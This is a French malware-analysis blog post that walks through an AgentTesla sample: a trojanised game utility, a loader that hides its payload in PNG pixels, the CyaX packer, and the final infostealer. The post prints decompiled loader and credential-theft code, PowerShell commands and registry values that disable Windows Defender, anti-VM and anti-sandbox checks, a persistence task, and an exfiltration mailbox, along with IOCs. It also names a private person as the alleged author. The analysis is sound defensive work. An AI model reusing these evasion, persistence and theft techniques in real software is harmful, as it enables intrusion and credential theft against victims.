Analyse d’un échantillon AgentTesla

Un fichier malveillant a été détecté au sein d’un réseau surveillé par Risk&Co.

Voici l’histoire de son analyse.

Phase de reconnaissance initiale

Découverte passive

La commande file permet de trouver rapidement des indices sur la nature du binaire :

$ file SCAN\ COPY.exe_
SCAN COPY.exe_: PE32 executable (GUI) Intel 80386 Mono/.Net assembly, for MS Windows

L’échantillon est connu de VirusTotal. Des détails sont accessibles :

Historique et noms connus par VirusTotal

L’échantillon semble être un virus assez ancien mais il est toujours actif ou du moins toujours analysé !

Quelques noms originaux sont également fournis :

  • FFXIV Nexus Progress.exe ;
  • vgutqhxrgb.exe ;
  • SCAN COPY.exe.

Analyse des chaînes de caractères

Les chaînes de caractères lisibles font surtout référence à l’élément FFXIV_Nexus_Progress.

Il n’y a pas plus d’information pertinente.

Appel à un ami

Une recherche rapide en utilisant le nom de l’exécutable permet de faire le lien avec un échantillon AgentTesla, avec une confiance élevée.

Rapport d’analyse de JoeSandbox

Le Malware Bazaar donne aussi une indication sur la méthode de transmission du contenu malveillant : une pièce-jointe d’e-mail.

Information de spam obtenue par abuse.ch

Recherche sur FFXIV Nexus Progress

Retour aux sources

Ce programme semble être un projet OpenSource disponible sur un répertoire public Github ; il permet d’afficher la progression de l’amélioration d’une arme Nexus dans FFXIV.

Pour les néophytes, FFXIV signifie Final Fantasy XIV.

Le projet était actif il y a plusieurs années et comptait de nombreux membres actifs.

Pour les utilisateurs finaux qui ne voudraient pas recompiler le programme eux-même à partir des sources, une version exécutable a aussi été mise à disposition :

Différenciation des binaires

Comme prévu, l’archive téléchargée à partir du projet Github légitime contient un binaire appelé FFXIV Nexus Progress.exe:

$ unzip -l FFXIV\ Nexus\ Progress.zip 
Archive:  FFXIV Nexus Progress.zip
  Length      Date    Time    Name
---------  ---------- -----   ----
   311808  2015-02-19 23:22   FFXIV Nexus Progress.exe
---------                     -------
   311808                     1 file

Cependant, sa taille est surprenante : environ 304 kB, alors que le programme malveillant qui a été détecté pèse environ 673 kB.

L’entropie calculée pour ces deux fichiers montre que l’échantillon malveillant contient plus de données chiffrées/aléatoires à la fin de son contenu :

Pour commencer, les deux binaires peuvent être comparés sur la base de leurs ressources embarquées :

$ monodis --presources FFXIV\ Nexus\ Progress.exe 
       0: FFXIV_Nexus_Progress.Resources.resources (size 31832)
    7c5c: FFXIV_Nexus_Progress.Main.resources (size 116854)

$ monodis --presources SCAN\ COPY.exe 
       0: FFXIV_Nexus_Progress.Main.resources (size 116854)
   1c87a: FFXIV_Nexus_Progress.Resources.resources (size 77372)
   2f6ba: ثەئ6ڵ5ئەڕ55413پڤ3ە3ث6ڤپ65ڤ6چ8ڕێپپڤئ23ۆڤث7ئڕ261ۆ6ثڵڤ043چڤڕڕث780ە8043ۆچو3142ۆ3ەەپئگ8ڵڤ30ێە81ڵڤثچۆە5ڕۆۆ6پو3265ۆ.resources (size 388815)

Une partie des données provient du programme FFXIV\ Nexus\ Progress.exe original mais le reste semble avoir été ajouté !

Ces données supplémentaires peuvent être extraites facilement :

$ monodis --mresources FFXIV\ Nexus\ Progress.exe
$ md5sum *
cac314cb3dc8cbe0c8b5e88d40535483  FFXIV_Nexus_Progress.Main.resources
22b74fdeabb4586bd6664b77687833f8  FFXIV_Nexus_Progress.Resources.resources

$ monodis --mresources SCAN\ COPY.exe 
$ md5sum *
cac314cb3dc8cbe0c8b5e88d40535483  FFXIV_Nexus_Progress.Main.resources
9214398a190bc3225b613d091f87ce9f  FFXIV_Nexus_Progress.Resources.resources
ace0a311747db47bb041b8bff4f24851  ثەئ6ڵ5ئەڕ55413پڤ3ە3ث6ڤپ65ڤ6چ8ڕێپپڤئ23ۆڤث7ئڕ261ۆ6ثڵڤ043چڤڕڕث780ە8043ۆچو3142ۆ3ەەپئگ8ڵڤ30ێە81ڵڤثچۆە5ڕۆۆ6پو3265ۆ.resources

Puisqu’il n’existe pas d’outil adapté pour une utilisation en ligne de commande rapide, un petit programme C# a été développé pour extraire ces ressources. Il est disponible sur notre répertoire Github et produit le résultat suivant :

$ make && ./dn-extractor.exe *resources
mcs -out:dn-extractor.exe dn-extractor.cs /reference:System.Drawing.dll

[*] ------ Processing FFXIV_Nexus_Progress.Main ------
[!] Unhandled resource type for '$this.Icon': <Icon>

[*] ------ Processing FFXIV_Nexus_Progress.Resources ------
[i] Extracting resource 'drg' as image data
[i] Extracting resource 'mnk' as image data
[i] Extracting resource 'blm' as image data
[i] Extracting resource 'brd' as image data
[i] Extracting resource 'nin' as image data
[i] Extracting resource 'pld' as image data
[i] Extracting resource 'war' as image data
[i] Extracting resource 'whm' as image data
[i] Extracting resource 'sch' as image data
[i] Extracting resource 'smn' as image data
[i] Extracting resource 'SoftwareUpdates4' as bytes

[*] ------ Processing ثەئ6ڵ5ئەڕ55413پڤ3ە3ث6ڤپ65ڤ6چ8ڕێپپڤئ23ۆڤث7ئڕ261ۆ6ثڵڤ043چڤڕڕث780ە8043ۆچو3142ۆ3ەەپئگ8ڵڤ30ێە81ڵڤثچۆە5ڕۆۆ6پو3265ۆ ------

[i] Extracting resource 'ثەئ6ڵ5ئەڕ55413پڤ3ە3ث6ڤپ65ڤ6چ8ڕێپپڤئ23ۆڤث7ئڕ261ۆ6ثڵڤ043چڤڕڕث780ە8043ۆچو3142ۆ3ەەپئگ8ڵڤ30ێە81ڵڤثچۆە5ڕۆۆ6پو3265ۆ' as image data

Les deux derniers fichiers ont l’air intéressants :

$ file res-*SoftwareUpdates4.bin res-*55413*img 
res-*SoftwareUpdates4.bin: PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
res-*55413*img:            PNG image data, 361 x 361, 8-bit/color RGBA, non-interlaced

Le tout dernier fichier est une image valide :

PNG étrange possédant une forte entropie

Casser la première couche

Recherche de mise à jour

Comme elle n’est pas du tout obfusquée, la ressource appelée SoftwareUpdates4 peut être analysée facilement.

Arborescence du projet affichée dans dnSpy

Le nom du programme original est SoftwareUpdates4.dll.

La mise à jour s’appuie sur un seul espace de noms dénommé HyperCloud qui contient une classe unique : StreamSound.

Le flot d’exécution est assez simple. Il commence par la définition d’un attribut :

public static string kurdistan
{
    ...
    set
    {
        ...
        StreamSound.Final(value);
    }
}

La méthode Final() :

  1. charge le contenu à traiter en appelant GameMode();
  2. convertit la ressource en un tableau d’octets avec e5() et VoiceDecrypt();
  3. exécute la charge utile finale avec les méthodes Assembly.Load() et MethodInfo.Invoke().
public static void Final(string e4)
{
    ...
    Bitmap i = StreamSound.GameMode(e4);
    byte[] rawAssembly = StreamSound.VoiceDecrypt(StreamSound.e5(i));
    Assembly assembly = Assembly.Load(rawAssembly);
    MethodInfo entryPoint = assembly.EntryPoint;
    entryPoint.Invoke(null, null);
}

Récupération de la mise à jour introduite

La fonction GameMode() ne fait que charger une ressource passée en entrée.

public static Bitmap GameMode(string @object)
{
    ResourceManager resourceManager = new ResourceManager(@object, Assembly.GetEntryAssembly());
    return (Bitmap)resourceManager.GetObject(@object);
}

Ici, la chaîne de caractère pourrait correspondre au nom du fichier PNG mystérieux qui n’a pas encore été utilisé.

La fonction e5() convertit simplement des pixels en octets, en omettant les pixels noirs cachés :

public static byte[] e5(Bitmap i1)
{
    List<byte> list = new List<byte>();
    checked
    {
        int num = i1.Size.Width - 1;
        for (int j = 0; j <= num; j++)
        {
            int num2 = i1.Size.Height - 1;
            for (int k = 0; k <= num2; k++)
            {
                Color left = StreamSound.@do(i1, j, k);
                bool flag = left != Color.FromArgb(0, 0, 0, 0);
                if (flag)
                {
                    list.Add(left.R);
                    list.Add(left.G);
                    list.Add(left.B);
                }
            }
        }
        return list.ToArray();
    }
}

Enfin, la fonction VoiceDecrypt() utilise les 16 premiers octets comme un clé XOR afin d’obtenir la donnée chiffrée originale :

public static byte[] VoiceDecrypt(byte[] i15)
{
    checked
    {
        byte[] array = new byte[i15.Length - 16 - 1 + 1];
        Buffer.BlockCopy(i15, 16, array, 0, array.Length);
        int num = array.Length - 1;
        for (int j = 0; j <= num; j++)
        {
            ref byte ptr = ref array[j];
            ptr ^= i15[j % 16];
        }
        return array;
    }
}

Un script Python appelé thevoice.py reproduit l’ensemble du mécanisme de déchiffrement et retourne sans surprise un nouvel exécutable :

$ python3 ./thevoice.py res-*55413*img
[i] Image size: 361 x 361
[i] Key: b'\x0e&\x86\xd2\x0ej\x83FjGx\xd7\xf8 (['

$ file stage2.bin 
stage2.bin: PE32 executable (GUI) Intel 80386 Mono/.Net assembly, for MS Windows

Des kill switches sans obfuscation

Les objets kurdistan et Final sont protégés par du code qui lève une exception si une condition n’est pas remplie.

Avant recompilation (1/2)
Avant recompilation (2/2)

Heureusement, dnSpy est assez sophistiqué pour retirer la couche d’obfuscation grâce à une passe de l’option « edit code /recompile code » (Ctrl+Shift+E).

Après recompilation (1/2)
Après recompilation (2/2)

 Ainsi on peut constater que le programme interrompt toute exécution au début de 2020.

Le packer CyaX

Premier contact

Une fois décompilé, le fichier stage2.bin donne des indications sur sa nature :

Résumé affiché dans dnSpy

CyaX est un packer bien connu pour les binaires .Net.

Le comportement du programme est assez facile à comprendre ; cependant, il dépend de plusieurs paramètres de configuration.

Point d’entrée du packer

Chaque paramètre permettant de contrôler le flot d’exécution est défini à l’exécution :

Stockage de la configuration et extraction

Il serait intéressant de noter que la classe Strings est une classe VB.net fournie par la bibliothèque d’assemblage Microsoft.VisualBasic.dll.

Afin de récupérer chaque paramètre de configuration rapidement, un petit outil C# a été développé. Il est disponible sur notre répertoire Github et renvoit le résultat ci-dessous :

mcs -out:config.exe config.cs
./config.exe
InjectValue: 4
isStartup: 1
UAC: 0
Downloader: 0
DownloaderFileName: 
DownloaderLink: 
AntiVm: 0
AntiSB: 0
AntiEm: 0

Toutes les protections du packer sont désactivées. Le paramètre de configuration UAC n’est pas utilisé, ce qui pourrait indiquer que du code a été retiré ou qu’il y a eu plusieurs itérations de développement.

Heureusement, même si elles ont été désactivées, les fonctionnalités mises à disposition par le packer restent utilisables pendant l’analyse.

Recherche de la présence d'antivirus

Après une courte pause de 45 secondes à 1 minute, le programme vérifie si des antivirus sont présents.

En cherchant les mots « eset » et « nod », le packer se concentre sur le fait d’être analysé par un seul antivirus.

Page d’accueil de l’antivirus ESET

Si l’antivirus ESET est détecté, alors le programme interrompt son exécution.

Windows Defender

Si l’utilisateur courant a le rôle d’administrateur,  le packer définit plusieurs valeurs de registre permettant de désactiver Windows Defender.

Chemin Clé Valeur
SOFTWARE\Microsoft\Windows Defender\Features TamperProtection 0
SOFTWARE\Policies\Microsoft\Windows Defender DisableAntiSpyware 1
SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection DisableBehaviorMonitoring 1
SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection DisableOnAccessProtection 1
SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection DisableScanOnRealtimeEnable 1

Par la suite, les commandes Powershell suivantes sont exécutées, si elles s’avèrent utiles :

Set-MpPreference -DisableRealtimeMonitoring $true
Set-MpPreference -DisableBehaviorMonitoring $true
Set-MpPreference -DisableBlockAtFirstSeen $true
Set-MpPreference -DisableIOAVProtection $true
Set-MpPreference -DisablePrivacyMode $true
Set-MpPreference -SignatureDisableUpdateOnStartupWithoutEngine $true
Set-MpPreference -DisableArchiveScanning $true
Set-MpPreference -DisableIntrusionPreventionSystem $true
Set-MpPreference -DisableScriptScanning $true
Set-MpPreference -SubmitSamplesConsent 2
Set-MpPreference -MAPSReporting 0
Set-MpPreference -HighThreatDefaultAction 6 -Force
Set-MpPreference -ModerateThreatDefaultAction 6
Set-MpPreference -LowThreatDefaultAction 6
Set-MpPreference -SevereThreatDefaultAction 6

Ces commandes sont exécutées « silencieusement », puisqu’elles ne font pas apparaître de fenêtre graphique.

Les cmdlets Powershell Get-MpPreference et Set-MpPreference sont apparues lors de la sortie de Windows 10 / Windows Server 2012

Puisqu’il n’y a pas de bloc try/catch pour gérer les exceptions dans ce programme, il est possible que les attaquants ciblent des systèmes d’exploitation récents.

Détection de virtualisation

Grâce au registre

La détection de virtualisation est basée au départ sur le registre.

Le programme cherche des chaînes de caractères (par exemple vbox, virtualbox ou vmware) à plusieurs endroits.

Pour VirtualBox:

  • clé Identifier dans HARDWARE\DEVICEMAP\Scsi\Scsi Port 0\Scsi Bus 0\Target Id 0\Logical Unit Id 0;
  • clé SystemBiosVersion dans HARDWARE\Description\System;
  • clé VideoBiosVersion dans HARDWARE\Description\System;
  • n’importe quelle valeur dans SOFTWARE\Oracle\VirtualBox Guest Additions.

Pour VmWare:

  • clé Identifier dans HARDWARE\DEVICEMAP\Scsi\Scsi Port 0\Scsi Bus 0\Target Id 0\Logical Unit Id 0;
  • clé Identifier dans HARDWARE\DEVICEMAP\Scsi\Scsi Port 1\Scsi Bus 0\Target Id 0\Logical Unit Id 0;
  • clé Identifier dans HARDWARE\DEVICEMAP\Scsi\Scsi Port 2\Scsi Bus 0\Target Id 0\Logical Unit Id 0;
  • clé 0 dans SYSTEM\ControlSet001\Services\Disk\Enum;
  • clé DriverDesc dans SYSTEM\ControlSet001\Control\Class\{4D36E968-E325-11CE-BFC1-08002BE10318}\0000;
  • clé Device Description dans SYSTEM\ControlSet001\Control\Class\{4D36E968-E325-11CE-BFC1-08002BE10318}\0000\Settings;
  • clé InstallPath dans SOFTWARE\VMware, Inc.\VMware Tools;
  • n’importe quelle valeur dans SOFTWARE\VMware, Inc.\VMware Tools.

Tandis que les valeurs lues sont toujours comparées à des chaînes de caractères en majuscule, un changement suggère ici un développement en plusieurs étapes :

Clés de registres inspectées pour VmWare

Pour Qemu:

  • clé Identifier dans HARDWARE\DEVICEMAP\Scsi\Scsi Port 0\Scsi Bus 0\Target Id 0\Logical Unit Id 0;
  • clé SystemBiosVersion dans HARDWARE\Description\System.

Grâce aux symboles exportés

Afin de détecter une instance courante de Wine, le virus vérifie si la bibliothèque kernel32.dll contient l’export wine_get_unix_file_name.

Grâce à la configuration hardware

La requête suivante est exécutée à partir de l’espace de nom .\ROOT\cimv2 : SELECT * FROM Win32_VideoController.

Une chaîne de caractère vide ou l’une des valeurs ci-dessous, présentes au sein de la description du contrôleur vidéo utilisé, déclenche la détection de la virtualisation :

  • VM Additions S3 Trio32/64;
  • S3 Trio32/64;
  • VirtualBox Graphics Adapter;
  • VMware SVGA II;
  • VMWARE.

Détection de sandboxing

Le programme vérifie si le fichier sbiedll.dll a été chargé. Cette bibliothèque est liée au programme Sandboxie.

L’exécution du virus s’interrompt si un seul des noms d’utilisateur ci-dessous est utilisé (la casse est encore ignorée ici) :

  • user;
  • sandbox;
  • virus;
  • malware;
  • schmidti;
  • currentuser.

Le chemin d’exécution du virus ne doit pas être C:\file.exe ou ne doit pas contenir l’une des chaînes de caractères suivantes :

  • \VIRUS;
  • SANDBOX;
  • SAMPLE.

La recherche d’une fenêtre appelée Afx:400000:0 semble viser la détection de WinJail Sandbox.

Persistance

L’assembly du packer semble être copiée dans le dossier appdata de l’utilisateur avec un nom codé en dur : vGUtqhXRGb.exe.

Un processus caché est ensuite exécuté afin d’enregistrer une nouvelle tâche système :

schtasks.exe /Create /TN "Updates\vGUtqhXRGb.exe" /XML "<tmp xml file>"

La description XML temporaire est extraite des ressources du packer :

<?xml version="1.0" encoding="UTF-16"?>
<Task version="1.2" xmlns="http://schemas.microsoft.com/windows/2004/02/mit/task">
  <RegistrationInfo>
    <Date>2014-10-25T14:27:44.8929027</Date>
    <Author>[USERID]</Author>
  </RegistrationInfo>
  <Triggers>
    <LogonTrigger>
      <Enabled>true</Enabled>
      <UserId>[USERID]</UserId>
    </LogonTrigger>
    <RegistrationTrigger>
      <Enabled>false</Enabled>
    </RegistrationTrigger>
  </Triggers>
  <Principals>
    <Principal id="Author">
      <UserId>[USERID]</UserId>
      <LogonType>InteractiveToken</LogonType>
      <RunLevel>LeastPrivilege</RunLevel>
    </Principal>
  </Principals>
  <Settings>
    <MultipleInstancesPolicy>StopExisting</MultipleInstancesPolicy>
    <DisallowStartIfOnBatteries>false</DisallowStartIfOnBatteries>
    <StopIfGoingOnBatteries>true</StopIfGoingOnBatteries>
    <AllowHardTerminate>false</AllowHardTerminate>
    <StartWhenAvailable>true</StartWhenAvailable>
    <RunOnlyIfNetworkAvailable>false</RunOnlyIfNetworkAvailable>
    <IdleSettings>
      <StopOnIdleEnd>true</StopOnIdleEnd>
      <RestartOnIdle>false</RestartOnIdle>
    </IdleSettings>
    <AllowStartOnDemand>true</AllowStartOnDemand>
    <Enabled>true</Enabled>
    <Hidden>false</Hidden>
    <RunOnlyIfIdle>false</RunOnlyIfIdle>
    <WakeToRun>false</WakeToRun>
    <ExecutionTimeLimit>PT0S</ExecutionTimeLimit>
    <Priority>7</Priority>
  </Settings>
  <Actions Context="Author">
    <Exec>
      <Command>[LOCATION]</Command>
    </Exec>
  </Actions>
</Task>

Les valeurs USERID et LOCATION sont mises à jour à la volée avant d’enregistrer la tâche.

Niveaux suivants d'exécution

Pour finir, le packer rend le flot d’exécution au code initial.

Selon la configuration, il existe deux options :

  • la méthode reflection(): charge une nouvelle assembly à partir des ressources et appelle son point d’entrée ;
  • la méthode StartInject(): charge une nouvelle assembly et appelle une méthode de la nouvelle classe disponible.

La seconde méthode constitue une solution de repli si la première échoue.

Les deux assemblies doivent être réorganisées avant d’être utilisées, la première étant chiffrée par XOR avec la clé jZDFfZSoFgJPfRarbTtnrpg.

Les algorithmes de réorganisation et de déchiffrement sont définis dans la classe Extra ; ils sont assez simples et sont repris dans le script Python cyax-extra.py qui se trouve dans notre répertoire Github.

La méthode d'injection

Corps de la fonction StartInject

L’assembly relative à la méthode d’injection peut être récupérée grâce aux commandes suivantes :

dn-extractor.exe CyaX-Sharp/Properties/Resources.resources > /dev/null
python3 ./cyax-extra.py ./res-Resources-UI4.bin > /dev/null

file res-Resources-UI4.bin.plain
res-Resources-UI4.bin.plain: PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows

L’exécutable est lié à un fichier PDB :

strings -a res-Resources-UI4.bin.plain | grep pdb
C:\Users\Cassandra\Desktop\Premium\CyaX\CyaX\obj\Debug\CyaX.pdb

Le binaire est un autre packer CyaX se faisant passer pour la bibliothèque Bonjour d’Apple ; sa méthode Kirkuk() exécute le processus d’injection.

La méthode réflective

Corps de la fonction reflection
dn-extractor.exe ../06-CyaX-Sharp/CyaX-Sharp/3Ce3BsCvCjB.resources > /dev/null
python3 ./cyax-extra.py --key jZDFfZSoFgJPfRarbTtnrpg res-3Ce3BsCvCjB-3Ce3BsCvCjB.bin > /dev/null

$ file res-3Ce3BsCvCjB-3Ce3BsCvCjB.bin.plain
res-3Ce3BsCvCjB-3Ce3BsCvCjB.bin.plain: PE32 executable (GUI) Intel 80386 Mono/.Net assembly, for MS Windows

Une fois déchiffrée, la charge utile est directement exécutée.

Repérer les erreurs

La fonction ci-dessous est utilisée pour déchiffrer le contenu chargé par la méthode réflective.

Pas vraiment le chiffrement d’un Etat-nation

Deux erreurs se distinguent :

  • la conversion BigEndian introduit des valeurs nulles entre chaque caractère de la clé, ce qui implique que la moitié des valeurs finales seront inutiles pendant l’étape de XOR ;
  • la variable num itère sur la clé brute initiale mais les octets convertis sont utilisés comme clé XOR donc seulement la moitié de la clé initiale est utilisée.

Etape finale

En s’aidant de quelques chaînes de caractères et de caractéristiques typiques, l’échantillon a été identifié comme une instance d’AgentTesla.

Ce genre de virus est un voleur d’informations, avec une immense liste de sources d’intérêt : de nombreux endroits sont scannés pour récupérer des informations utiles. La configuration et les identifiants présents sur la machine sont donc passés au peigne fin pour un grand nombre de VPN / FTP / clients mail communs et de navigateurs Web.

Le code source est assez impressionnant : environ 33k lignes de code !

L’analyse complète de l’échantillon n’a pas été réalisée dans cet article car le travail a déjà été effectué plusieurs fois publiquement.

Cependant, certains points clés peuvent être mis en lumière.

Mise en place de l'analyse

Le flot de contrôle est obfusqué et toutes les chaînes de caractères sont chiffrées.

Point d’entrée de l’étage finale

La première difficulté pour une analyste peut être outrepassée en utilisant un fork de de4dot qui supporte complètement ConfuserEx en configuration par défaut.

C:\de4dot-cex>de4dot.exe -d final.exe

de4dot v3.1.41592.3405 Copyright (C) 2011-2015 de4dot@gmail.com
Latest version and source code: https://github.com/0xd4d/de4dot

Detected ConfuserEx  (C:\de4dot-cex\final.exe)

C:\de4dot-cex>de4dot.exe -f final.exe -o final-unconfused.exe

de4dot v3.1.41592.3405 Copyright (C) 2011-2015 de4dot@gmail.com
Latest version and source code: https://github.com/0xd4d/de4dot

Detected ConfuserEx  (C:\de4dot-cex\final.exe)
Cleaning C:\de4dot-cex\final.exe
Renaming all obfuscated symbols
Saving C:\de4dot-cex\final-unconfused.exe
Flot de contrôle original rétabli

Les chaînes de caractère chiffrées en AES restent difficile à lire.

Chaque passe de déchiffrement peut cependant être identifiée avec un simple script Shell.

find unconfused-sources/ -name '*cs' -exec python3 ./translate.py -b {} \; | sort | uniq > /tmp/ids.txt

Par la suite, l’échantillon initial du virus doit être légèrement modifié avec dnSpy afin de déchiffrer les chaînes à la demande.

Noms, drapeaux et changements d’accès pour la méthode \u202B de la classe Module

La vérification en cours d’exécution ci-dessous peut être contournée en inversant la condition au sein du code IL :

Condition finale d’exécution
Code IL relatif

decrypt-all.exe > decrypted-strings.txt

Un petit programme en C# peut alors demander au virus de déchiffrer chaque chaîne de caractères tout en construisant une liste des chaînes déchiffrées pour chaque identifiant. Ces chaînes peuvent finalement être réinjectées dans le code source avec quelques scripts Python/Shell supplémentaires.

./translate-all.sh
Code source lisible d’AgentTesla

Analyser le virus revient maintenant à simplement lire du code.

Données exfiltrées

Plusieurs types de données sont envoyés au C2 :

  • cookies;
  • captures d’écran ;
  • entrées clavier ;
  • mots de passe.

D’autres informations supplémentaires sont également envoyées :

  • temps courant ;
  • nom d’utilisateur ;
  • nom de la machine ;
  • nom du système d’exploitation ;
  • CPU utilisé ;
  • RAM disponible.

Les données volées sur le système infecté sont ensuite exfiltrées en SMTP (vers fran.cess@yandex.com, le mot de passe de ce compte est laissé comme exercice au lecteur) ou via une requête HTTP POST utilisant un UserAgent Mozilla/5.0 (Windows; U; Windows NT 6.1; ru; rv.

Identification de la version

Une variante récente d’AgentTesla vole les identifiants WiFi.

C’est le cas de notre échantillon, où la méthode vlj() fait tourner un processus caché netsh :

internal static string vcj(string vmf)
{
        string input = xwd.vlj("wlan show profile name="" + vmf + "" key=clear");
        string value = new Regex("Key Content * ").Match(input).Groups["password"].Value;
        if (value.Length > 0)
        {
                return value;
        }
        return "No Password!";
}

Cependant, l’échantillon analysé ici ne semble pas correspondre à une instance d’AgentTesla v3. Par exemple, il n’y a pas de connection vers https://api.ipify.org afin de résoudre l’adresse IP externe de l’hôte infecté ni de support de bot Telegram.

C’est assez surprenant, puisque le chiffrement 3-DES devrait être un indice indiquant une mise à jour vers la v3.

Historique de la menace

Auteurs d'AgentTesla

Selon l’analyse réalisée par Malwatch en 2020 et les recherches menées par KrebsonSecurity en 2018 sur les auteurs d’AgentTesla, le programme pouvait être obtenu gratuitement sur un site WordPress turc (agenttesla.wordpress-dot-com). Le nom de domaine utilisé actuellement par AgentTesla (agenttesla-dot-com) a été enregistré en 2014 par une personne dénommée Mustafa can Özaydin avec l’adresse e-mail mcanozaydin@gmail.com, selon les informations WHOIS. Cette adresse Gmail est liée à plusieurs comptes :

  • le compte Youtube d’une personne turque possédant exactement le même nom, qui contient étonnamment une vidéo dont le réel objectif est d’aider à installer le panneau de contrôle d’AgentTesla. Cette vidéo a depuis été supprimée car elle allait à l’encontre de la politique de Youtube.

  • le compte Facebook d’un homme turc qui a fait des études d’informatique et de programmation :

  • le compte Linkedin de quelqu’un qui ressemble énormément à la personne trouvée sur Facebook, qui se décrit comme un « Expert en Support Système » et qui travaille actuellement comme « Information Technology System Specialist » chez WOME DELUXE :

  • le compte Twitter d’un homme turc utilisant encore une photo de profil très similaire au reste :

De plus, le compte Twitter @agent_tesla a été enregistré avec l’adresse e-mail test@agenttesla.com. Ce compte a posté auparavant un lien vers un des posts originaux, concernant AgentTesla en version Beta, sur un ancien forum de hacking appelé jomgegar-dot-com.

Une paste sur pastebin.com peut aussi être lié à agent_tesla :

Cela semble être du vieux code qui pourrait avoir été ajouté plus tard au virus. Il contient aussi un lien vers un répertoire Github, qui met à disposition un outil permettant de récupérer des mots de passe Outlook, dont le code a potentiellement été utilisé pour AgentTesla.

Cibles au fil des années

Ce virus, découvert à la fin de 2014, a attaqué un large panel de cible au cours du temps.

Depuis 2016, des rapports font état de typosquatting par des utilisateurs d’AgentTesla afin de masquer leurs intentions malveillantes derrière des adresses e-mail faussement légitimes. Selon Talos Intelligence, les noms de domaines les plus utilisés sont ceux d’entreprises de manufacture et de logistique. Par exemple, les attaquants ont tenté de se faire passer pour la compagnie de pétrole et de gaz russe ERIELL en utilisant le domaine mal orthographié erieil-dot-com.

En 2019, AgentTesla était utilisé comme outil par la campagne de vol d’information SilverTerrier, ciblant de nombreuses entreprises (surtout dans les domaines high-tech, légaux et de manufactures).

Cependant, la cible principale actuelle semble être les entreprises dans le domaine de l’énergie. A cause de la pandémie de COVID-19, la demande en pétrole a diminuée, ce qui a obligé les entreprises à baisser leurs prix. Cette situation a attiré l’attention des créateurs de virus comme ceux d’AgentTesla : selon InfosecInstitue, il y a eu plus de 5000 attaques visant des entreprises du domaine de l’énergie durant le pic de la campagne en février 2020.

La pandémie a aussi mené à l’apparition de campagnes de phishing sur le thème du COVID-19, où AgentTesla a peut être repéré et qui visent divers industries et entités gouvernementales qui ont pu être impactées par cette crise.

Conclusion

Résumé du flot d'exécution

Le flot d’exécution du virus est résumé dans le schéma ci-dessous.

https://blog-cyber.riskeco.com/wp-content/uploads/2021/03/mw_steps.png
Résumé du flot d'exécution d'AgentTesla

Remarques finales

Lancé en 2014, AgentTesla est un voleur d’informations assez ancien qui reste efficace contre la détection par de multiples techniques modernes.

Même si son site a été abandonné, le virus reste en développement avec de nouvelles caractéristiques disponibles. En se basant sur le framework habituel MITRE ATT&CK, ESET a mis en place une liste très complète des techniques utilisées par AgentTesla.

Si les différentes couches de protection du virus sont intéressantes à étudier pour un analyste, AgentTesla mérite aussi d’être surveillé par les décideurs :

  • c’est une des menaces principales dans les pièces-jointes de mail ;
  • il vise le monde industriel, notamment les compagnies pétrolières ;
  • il est renforcé continuellement ;

Il est également intéressant de noter que certains sites du clear web vendent toujours le virus AgentTesla. La légitimité de ces sites n’est pas certaine mais ils semblent mettre à disposition les mêmes services que l’ancien site officiel (souscriptions mensuelles par exemple).

IOC

SCAN COPY.exe
MD5 e43fad2f68b266355bb3367493388795
SHA1 9fd2bc1bf884dc505de4416e080f4e03cb77b3e8
SHA256 b500fa62f356afa1aa8651567fba30088850ea5d5db638225c6c64465c83c846

 

Processus d’injection
MD5 0130559aa191e846efae2eac4dbc84bd
SHA1 9dc95eb05ac91ff3877ed0edcee68e9ccd3b21cc
SHA256 ca84e8c6ade485e41c8b761a0610fe3b355d82ee90c08ad5410aded2612636b2

 

Etape finale
MD5 2bb34672018e8b2459ebbccf1036327c
SHA1 4f9d524ae23821b7a937e38fa97887a2cf35038e
SHA256 fa80b7fb16db61cd201115e7e2616bae6332486a8b5cd6e193200ec6ba300772